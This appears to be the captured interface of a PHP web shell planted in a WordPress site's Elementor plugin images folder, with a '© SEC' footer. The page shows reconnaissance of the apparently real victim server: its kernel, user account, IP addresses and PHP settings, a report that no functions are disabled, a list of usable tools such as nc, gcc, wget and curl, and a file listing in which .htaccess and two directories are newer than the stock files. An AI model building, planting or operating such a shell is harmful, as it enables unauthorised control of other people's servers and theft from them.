| Linux host52.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64 |
| Apache |
| 104.21.37.67 | Your IP: 216.73.216.62 |
| Cant read [ /etc/named.conf ] |
| [ drwxr-xr-x ] |
| / home / powertekenterpri / public_html / wp-content / plugins / elementor / assets / images / |
| Operating System | : | Linux host52.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64 |
| User / Group | : | 3690[powertekenterpri] / 3681[powertekenterpri] |
| PHP Version | : | 8.0.30 |
| IP Server | : | 104.21.37.67 |
| Your IP | : | 216.73.216.62 |
| Storage | : | Total = 2.96 TB, Free = 1.27 TB [42%] |
| Domains | : | Cant read [ /etc/named.conf ] |
| Software | : | Apache |
| Disable Functions | : | All function is accessible |
| Useful Functions | : | gcc, lcc, cc, ld, make, php, perl, python, ruby, tar, gzip, bzip, bzialfa2, nc, locate, suidperl, git, docker, ssh |
| Downloader | : | wget, fetch, lynx, links, curl, get, lwp-mirror |
| CURL : ON | SSH2 : OFF | Magic Quotes : OFF | MySQL : ON | MSSQL : OFF | PostgreSQL : ON | Oracle : OFF | ||
| Safe Mode : OFF | Open Basedir : NONE | Safe Mode Exec Dir : NONE | Safe Mode Include Dir : NONE | ||
| Name | Type | Size | Owner/Group | Permission | Last Modified | Actions |
| . | dir | - | powertekenterpri/powertekenterpri | drwxr-xr-x | 2025-10-21 09:32:29 | |
| .. | dir | - | powertekenterpri/powertekenterpri | drwxr-xr-x | 2025-10-21 09:32:29 | |
| app | dir | - | powertekenterpri/powertekenterpri | drwxr-xr-x | 2025-10-21 09:32:29 | |
| library-connect | dir | - | powertekenterpri/powertekenterpri | drwxr-xr-x | 2025-10-21 09:32:29 | |
| .htaccess | text/plain | 123 B | powertekenterpri/powertekenterpri | -rw-r--r-- | 2025-10-21 09:32:29 | |
| a-default-svg.svg | image/svg+xml | 2.15 KB | powertekenterpri/powertekenterpri | -rw-r--r-- | 2025-04-05 08:04:55 | |
| announcement.png | image/png | 151.7 KB | powertekenterpri/powertekenterpri | -rw-r--r-- | 2025-04-05 08:04:55 | |
| background-placeholder.png | image/png | 3.85 KB | powertekenterpri/powertekenterpri | -rw-r--r-- | 2025-04-05 08:04:55 | |
| blur.png | image/png | 11.33 KB | powertekenterpri/powertekenterpri | -rw-r--r-- | 2025-04-05 08:04:55 | |
| containers-announcement.png | image/png | 110.11 KB | powertekenterpri/powertekenterpri | -rw-r--r-- | 2025-04-05 08:04:55 | |
| contrast.png | image/png | 1.19 KB | powertekenterpri/powertekenterpri | -rw-r--r-- | 2025-04-05 08:04:55 | |
| eyedropper.svg | image/svg+xml | 1.76 KB | powertekenterpri/powertekenterpri | -rw-r--r-- | 2025-04-05 08:04:55 | |
| go-pro-wp-dashboard.svg | image/svg+xml | 14.63 KB | powertekenterpri/powertekenterpri | -rw-r--r-- | 2025-04-05 08:04:55 | |
| go-pro.svg | image/svg+xml | 20.1 KB | powertekenterpri/powertekenterpri | -rw-r--r-- | 2025-04-05 08:04:55 | |
| information.svg | image/svg+xml | 5.68 KB | powertekenterpri/powertekenterpri | -rw-r--r-- | 2025-04-05 08:04:55 | |
| kit-is-live.svg | image/svg+xml | 67.32 KB | powertekenterpri/powertekenterpri | -rw-r--r-- | 2025-04-05 08:04:55 | |
| logo-icon.png | image/png | 1.22 KB | powertekenterpri/powertekenterpri | -rw-r--r-- | 2025-04-05 08:04:55 | |
| logo-panel.svg | image/svg+xml | 3.37 KB | powertekenterpri/powertekenterpri | -rw-r--r-- | 2025-04-05 08:04:55 | |
| logo-platform.svg | image/svg+xml | 3.34 KB | powertekenterpri/powertekenterpri | -rw-r--r-- | 2025-04-05 08:04:55 | |
| no-search-results-cloud.svg | image/svg+xml | 917 B | powertekenterpri/powertekenterpri | -rw-r--r-- | 2025-04-05 08:04:55 | |
| no-search-results.svg | image/svg+xml | 5.65 KB | powertekenterpri/powertekenterpri | -rw-r--r-- | 2025-04-05 08:04:55 | |
| placeholder-v4.png | image/png | 20.51 KB | powertekenterpri/powertekenterpri | -rw-r--r-- | 2025-04-05 08:04:55 | |
| placeholder.png | image/png | 6 KB | powertekenterpri/powertekenterpri | -rw-r--r-- | 2025-04-05 08:04:55 | |
| unlock-sticky.svg | image/svg+xml | 9.3 KB | powertekenterpri/powertekenterpri | -rw-r--r-- | 2025-04-05 08:04:55 |
© SEC